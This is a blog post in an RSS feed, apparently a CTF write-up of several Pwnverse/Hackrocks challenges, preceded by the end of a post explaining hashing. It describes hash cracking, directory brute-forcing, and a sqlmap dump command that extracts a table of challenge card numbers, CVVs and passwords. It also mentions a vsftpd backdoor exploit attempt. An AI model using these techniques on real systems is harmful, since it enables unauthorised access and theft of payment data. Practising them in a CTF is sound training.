<p>Whereas 𝐇𝐚𝐬𝐡𝐢𝐧𝐠 is a different technique that uses special mathematical functions to encode data in such a manner that it cannot be reversed. Due to this unique property, hashing is also used to store passwords in a database. It is also worth mentioning there is no secret/key in this scenario. Hashes are used to verify the integrity of a given data/file. Some of the common hash algorithms are MD5, SHA256, etc.</p>
<p>For e.g: You login into your Computer using a combination of username/password. This password is stored in the form of a hash and when you type it in the login panel, the system translates it into a hash &amp; then compares it with the one stored in its database. Only if both matches, access is granted.</p>
<blockquote>
<p>If you have read till here, thank you for bearing with me. While I wrote this post to explain concepts in layman's terms, hope you enjoyed it.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Pwnverse CTF Writeup]]></title><description><![CDATA[I recently participated in a CTF created by Pwnverse and sponsored by Hackrocks. It contained 4 tiers with 2 challenges each.Tiers were categorized by: Newbie (1,2), Easy (3,4), Medium (5,6), and Hard (7,8).After completing 4 of these challenges succ...]]></description><link>https://blog.securityin.cloud/pwnverse-ctf-writeup</link><guid isPermaLink="true">https://blog.securityin.cloud/pwnverse-ctf-writeup</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[Pwnverse]]></category><dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator><pubDate>Sun, 24 Jul 2022 10:41:47 GMT</pubDate><content:encoded><![CDATA[<p>I recently participated in a CTF created by Pwnverse and sponsored by Hackrocks. It contained 4 tiers with 2 challenges each.<br />Tiers were categorized by: Newbie (1,2), Easy (3,4), Medium (5,6), and Hard (7,8).<br />After completing 4 of these challenges successfully, I managed to secure 39th rank with a total of 155 points.</p>
<p>So without further ado let’s see what these challenges were &amp; how I tackled them.</p>
<blockquote>
<p><strong><em>1. Corrupt Committee:-</em></strong></p>
</blockquote>
<p><strong>Description:</strong> Our investigation team has discovered that some senior officials of a certain Olympic Committee have received significant bribes in the past, specifically in 2012. Unfortunately, we do not know much more; we only have the following image for you to start your investigation, which is somehow related to the recipient of the payment. Regarding the amount of the payment, we only know that it must be significantly higher than the rest of the payments received that year.</p>
<p>Can you help us bring the guilty parties to justice?</p>
<p>(The token of this challenge will be the identifier of the payers)</p>
<p><strong>SOLUTION:</strong> There was a QR code given which had “1BWaryNxvEdkzRMZ6L4y2bgvBwhRyFTHQ2”, since this was a payment challenge my mind went straight to cryptocurrency. I searched this string on <a target="_blank" href="http://Blockchain.com">Blockchain.com</a> and got 2 linked wallets. After searching through Bitcoin wallet by the year 2012, I got:</p>
<p>Fee 0.00000000 BTC(0.000 sat/B — 0.000 sat/WU — 258 bytes) +10.00000000 BTC</p>
<p>Hash b8d6559c52ad2c3137151a6eb091729d6d104e21a688549dc2a8557ab5e156b2: 2012–09–30 16:19<br />1Ce1DeJf6HHHKPBKH63qC7kzP6m2a3rDrr: 51.41448112 BTC</p>
<p>18nbMfiKjucUhs7tps6G8NGziPwK2MX9aZ: 41.41448112 BTC</p>
<p>1BWaryNxvEdkzRMZ6L4y2bgvBwhRyFTHQ2: 10.00000000 BTC</p>
<p>After entering the wallet address “1Ce1DeJf6HHHKPBKH63qC7kzP6m2a3rDrr” I pwned the 1st challenge.</p>
<blockquote>
<p><strong><em>2. Metaverse Cracking:-</em></strong></p>
</blockquote>
<p><strong>Description:</strong> Do you like the metaverse, the NFTs, and cryptography, and would you like to help Juan earn money through a bug?</p>
<p>This is your challenge!</p>
<p>Not long ago Juan downloaded an NFT game with the idea of starting to earn cryptocurrencies. The game caught his attention because of the dynamics it followed.</p>
<p>The game consists of the following:</p>
<p>Random encrypted passwords are generated every day and the player can crack as many as he can and wants, as long as he has energy left. A user has 5 energy points per day, and for each play (hash detection attempt plus password cracking) 0.5 points are lost, i.e. the user has a total of 10 plays.<br />The interface is very simple: it consists of a screen with padlock cards and a brief description of how difficult or improbable it is to crack the generated password. The user chooses which padlock to attack, i.e. which password he wants to crack. Once he has chosen it, he clicks on the Crack button. Once this is done, the program returns on screen the hash and/or the password if it has been obtained along with two fields where the user must enter what has been obtained and press the Solve button.</p>
<p>The benefits that the player can get are:</p>
<p>Between 0.00008 ETH and 0.00021 ETH if the hash is successfully detected.<br />Between 0.00042 ETH and an additional 0.0012 ETH if the password is cracked.</p>
<p>To play the game you need a set of tools integrated into the game which are obtained by purchasing boxes. The 4 available boxes are:</p>
<p>demo (Free): contains a tool with 20% hash detection and 15% cracking probability.<br />Basic: contains a tool with 50% password hash detection probability and 25% cracking probability.<br />The intermediate: contains a tool with a hash detection probability of 80% and a cracking probability of 50%.<br />The pro: contains two separate tools, one with 100% hash detection and the other with 95% cracking probability. In other words, the pro provides two specialized tools that almost ensure profit.</p>
<p>If you buy, for example, the basic box and then the pro, the game detects you as if you had only the pro box, that is, bonuses are not accumulated, but it keeps the ones from the last purchased box.</p>
<p>Juan does not know very well if it is profitable to invest or not in the game, but before jumping to buy any box, he decides to try the demo that is free. After two plays he detects a bug in the game, and that is that the game calculates and displays the type of hash and the encrypted password before the user clicks on the Decrypt button.</p>
<p>John doesn’t understand much about cryptography, but he knows that there are tools (outside the game) to detect hashes and break passwords, so he asks you to help him crack one of the hardest passwords the game has thrown at him so far.</p>
<p>The information Juan saw on his screen was:</p>
<p>sha384</p>
<p>73a32b396debcb88809e534a6257ff32a67e70a0663740f538969c7741dfece93309f0dce80d57924602423cf8d3e0b9</p>
<p>Will you be able to make Juan earn some money? Help him crack the password in Clear, as well as the profit (in ETH) if he gets the maximum prize (express to 5 decimal places).</p>
<p>The token must be in the following format: counter-crypt-prize</p>
<p>Example answer: premio-3'21248</p>
<p><strong>SOLUTION:</strong> Since everything was already given here including hash &amp; algorithm, all that was left to do was crack it. I used “<a target="_blank" href="https://crackstation.net">https://crackstation.net</a>" which gave me “premio”. Now for 2nd part of the code, I simply added the highest benefits i.e, “0.00021+0.0012” &amp; entered in the format “premio-0'00141”. However I didn’t think it would work but surprisingly it did.</p>
<blockquote>
<p><strong><em>3. LeChuck is back:-</em></strong></p>
</blockquote>
<p><strong>Description:</strong> Where could they have started? Your instinct warns you: LeChuck has a big ego, and he’s probably left his signature somewhere on your site.</p>
<p>Is it that easy? Bingo! Something pops up at that URL <a target="_blank" href="https://challenges.hackrocks.com/lechuck￼Look">https://challenges.hackrocks.com/lechuck<br />Look</a> for LeChuck’s footprints to move on!</p>
<p><strong>SOLUTION:</strong> Since this was a website, I used /usr/share/wordlists/dirb/common.txt to find any open endpoints. For some reason first two attempts failed with Dirb, however, while using Gobuster I discovered an open one “<a target="_blank" href="https://challenges.hackrocks.com/lechuck/user">https://challenges.hackrocks.com/lechuck/user</a>" which said, “To get info about a user, use the syntax: /user/&lt;username&gt;”.</p>
<p>After this, it was simply including “lechuck” as the username and getting the flag “lechuck,{flag}MBZICNIBRM”.</p>
<blockquote>
<p><strong><em>4. Simon a Successful Streamer:</em></strong></p>
</blockquote>
<p><strong>Description:</strong> That’s right, Simon Runbott has lost access to his bitcoins. He was storing them on an old Linux computer, which he has completely forgotten the password to access. At least he managed to send us a password file, which he hopes will help.</p>
<p>Can you recover Simon’s password?<br />Paswword hash: “simon:$6$ephwDW/dO/YUIRFq$4MtdliecaYjJ4dKIqbBbX3SsT8mebY3tdb6UdR0qMZkQG.so.GrCUC0sgt7SjGQlhY/xiLLnzkaIB4gYb5lY./:18760:0:99999:7:::”</p>
<p><strong>SOLUTION:</strong> I did find an account on Instagram “simon.runbott” and managed to extract some keywords “Audi, RTBB221, Cat, Django, 2018, however by the time I went back to try them CTF has been ended. So this challenge was not completed.</p>
<blockquote>
<p><strong><em>5. Attacking The Bad Guy:-</em></strong></p>
</blockquote>
<p><strong>Description:</strong> Not all cybercriminals secure their communications or methods, so they can be tracked and sometimes even compromise their services.</p>
<p>In this case, “the bad guy” left a trace on his website, and you will have to break it to verify if your customer’s data is stored on it. Do you dare to hack the “hacker”?<br />[Challenges Second]<br />lenaff8</p>
<p>In the last couple of days, tickets have been received from our customers notifying and claiming money for purchases that they have not made, but both on our website and on other sites, that is, users are receiving unrequited money charges.</p>
<p>All of them agree that these charges are made after having made a purchase in our store. Following this rare occurrence, we called in our Blue Team to investigate the case. After reviewing both the logs and the web code, they managed to find a third-party library that captured the information of the bank cards as well as their CVV and expiration date. Additionally, analyzing said library they find the website to which the data was being sent, but they find a login and this team is not specialized in attacks of this style, so they request your help, so that you investigate said website, obtain access and check if the stored data is there, and more specifically, the data of Adrián Peréz Ríos, since he is an important buyer.</p>
<p>The challenge token will be: Adrián Pérez Ríos’s passwordadmin-numcard-cvv-expiredate or 0000000000–123–12/22 if it is not present.</p>
<p>Response example: admin12–4548812049400004–203–08/27<br />To access the challenge, click on the following link: <a target="_blank" href="https://challenges.hackrocks.com/bad-guy">https://challenges.hackrocks.com/bad-guy</a></p>
<p><strong>SOLUTION:</strong> Since this one included a login portal, it was time to bring out Big guns. I used Burp Suite to intercept a login request “<a target="_blank" href="https://challenges.hackrocks.com/bad-guy/?username=asdfgh&amp;password=asdfgh&amp;login=Are+you+sure%3f">https://challenges.hackrocks.com/bad-guy/?username=asdfgh&amp;password=asdfgh&amp;login=Are+you+sure%3f</a>" and passed it to Sqlmap with the syntax “sqlmap -u <a target="_blank" href="https://challenges.hackrocks.com/bad-guy/?username=asdfgh&amp;password=asdfgh&amp;login=Are+you+sure%3f">https://challenges.hackrocks.com/bad-guy/?username=asdfgh&amp;password=asdfgh&amp;login=Are+you+sure%3f</a> — dump”.<br />This dumped two tables:<br />Database: filtrados<br />Table: cuentas<br />[10 entries]<br />+ — — + — — -+ — — — — — — — — — + — — — — — -+ — — — — — — — — — — — -+ — — — — — — — — — +<br />| id | cvv | name | fecha_cad | last_name | num_cuenta |<br />+ — — + — — -+ — — — — — — — — — + — — — — — -+ — — — — — — — — — — — -+ — — — — — — — — — +<br />| 1 | 100 | Mariola | 05/26 | Benítez Madroñal | 2683393655746243 |<br />| 2 | 321 | Claus | 03/24 | Grande Sanchez | 4866928395393289 |<br />| 3 | 345 | Imanol | 08/23 | Zabala | 4834966576322339 |<br />| 4 | 456 | María | 09/22 | Castañeda León | 6232573332859554 |<br />| 5 | 879 | Adrián | 07/25 | Pérez Ríos | 6269784865499645 |<br />| 6 | 20 | Francisco Javier | 02/26 | Sánchez Puente | 6478497458632956 |<br />| 7 | 107 | Mariola | 02/23 | Benítez de la Herranz | 4593769667235535 |<br />| 8 | 589 | Pepe | 06/24 | Rodríguez Escobar | 4982832873926876 |<br />| 9 | 986 | Jonathan | 04/23 | Garcia Soria | 7626334895889925 |<br />| 10 | 345 | Miguel Ángel | 05/23 | de los Santos Torres | 5633443968477687 |<br />+ — — + — — -+ — — — — — — — — — + — — — — — -+ — — — — — — — — — — — -+ — — — — — — — — — +</p>
<p>Database: filtrados<br />Table: usuarios<br />[2 entries]<br />+ — — — + — — — -+ — — — — — — — — — — +<br />| id_u | usu | contra |<br />+ — — — + — — — -+ — — — — — — — — — — +<br />| 1 | admin | 123456789987654321 |<br />| 2 | usu | 1234678 |<br />+ — — — + — — — -+ — — — — — — — — — — +</p>
<p>Now as per the given format, we had to enter like “Response example: admin12–4548812049400004–203–08/27” so I used “123456789987654321–6269784865499645–879–07/25” and voila, Bad guy pwned. One thing I would mention is in the case of pentest or production environment, I would never have used sqlmap such recklessly as it might have done serious disruption.</p>
<blockquote>
<p><strong><em>6. The Final Countdown:-</em></strong></p>
</blockquote>
<p><strong>Description:</strong> Did you know that we at hackrocks have launched our own space program? In fact, we have decided to compete with Elon Musk and our ultimate goal is to reach Mars! Why not? :).</p>
<p>But for now, first stop, the moon. And we have already started with setbacks. Possibly due to the action of cosmic radiation, the countdown to the emergency launch of the module back to Earth has started. Unless our pilots can stop it in time, it will inevitably take off, whether they are on board or not.</p>
<p>As part of the ground crew, can you help them?</p>
<p>For security, this code is changed every few seconds. The commander has a hardware device, similar to an RSA key, which generates an OTP from the current code. However, the commander has lost it, and we don’t have time to send him another one!</p>
<p>File:RSA-SecurID-Token.jpg — Wikimedia Commons</p>
<p>Will you be able to stop the countdown by providing the next valid code after the current one at some point in time?<br />To access the challenge, click on the following link: <a target="_blank" href="https://challenges.hackrocks.com/launch-code/">https://challenges.hackrocks.com/launch-code/</a></p>
<p><strong>SOLUTION:</strong> I looked at the website once and took rain check.</p>
<blockquote>
<p><strong><em>7. FTPing:-</em></strong></p>
</blockquote>
<p><strong>Description:</strong> You should already know that, in the hacker universe, nothing is what it seems, nor is it where it should be. In this challenge you will have to face a lonely machine, which will not easily reveal its secrets to you. Ready to accept the challenge?</p>
<p>Of course, getting the token will not be easy at all. You will have to use different techniques, and chain several of them together. So enough chitchat for now.</p>
<p>Your target? The next machine:<br /><a target="_blank" href="http://assembly.hackrocks.com">assembly.hackrocks.com</a><br />Good luck!</p>
<p><strong>SOLUTION:</strong> This challenge remained unsolved, however, this was a very interesting one as I managed to uncover some juicy details. Nonetheless, it was a deadend.<br />Details are as follows:<br />Domain = <a target="_blank" href="http://assembly.hackrocks.com">assembly.hackrocks.com</a><br />IP = 23.88.100.109<br />Hostname = <a target="_blank" href="http://static.109.100.88.23.clients.your-server.de">static.109.100.88.23.clients.your-server.de</a><br />Operating System = Ubuntu 20.04<br />Open Ports = 22 (SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3) &amp; 2121 (vsFTPd 2.3.4)<br />Now I said interesting before as this particular version of vsftpd has a particular “Backdoor Command Execution” vulnerability which seemed to be patched here. I tried multiple exploits including one available in Metasploit as well to no avail.</p>
<blockquote>
<p><strong><em>8. Santa Claus has Disappeared:-</em></strong></p>
</blockquote>
<p><strong>Description:</strong> Santa Claus has been kidnapped! Christmas is in danger!</p>
<p>Of course, you cannot remain impassive, ¡help us! The problem is that we only have a network traffic capture that, we are sure, has been generated by Santa.</p>
<p>In this challenge:<br />You must find the geographic location of Santa.<br />You will learn to analyze traffic captures.<br />You must exercise your analytical and abstraction skills.</p>
<p>It’s terrible, Santa Claus has disappeared. Our agents suspect that The Grinch is behind this kidnapping. But, as always, it won’t be easy for us to find him. The only thing we have achieved is a traffic capture, obtained from a wireless interface, which we know has been generated by Santa himself to request help.</p>
<p>By the way, our little helpers inform us that the token to overcome this challenge will be Santa’s geographic location.</p>
<p>Ready to start?</p>
<p><strong>SOLUTION:</strong> This challenge was not solved, however here is my analysis.<br />The PCAP file had some very interesting data and I managed to extract Santa’s private IP (192.168.1.84). This IP led me to some MAC addresses (80:78:71:8e:91:d0, c8:09:a8:75:14:b7) and IPs (95.216.99.248, 20.190.129.100, 52.113.205.16, 157.245.220.120). I also saw some searches made over port 80 ( help, how to make gorg, how to open locked doors, what is Stockholm syndrome). I tried to enter Stockholm as that is a city but it wasn’t the right answer.</p>
<blockquote>
<p>I believe with more time on my hand at least 2 other challenges could have been solved. Nonetheless, this CTF served as a nice break and am looking forward to participating next year as well.</p>
</blockquote>
]]></content:encoded></item></channel></rss>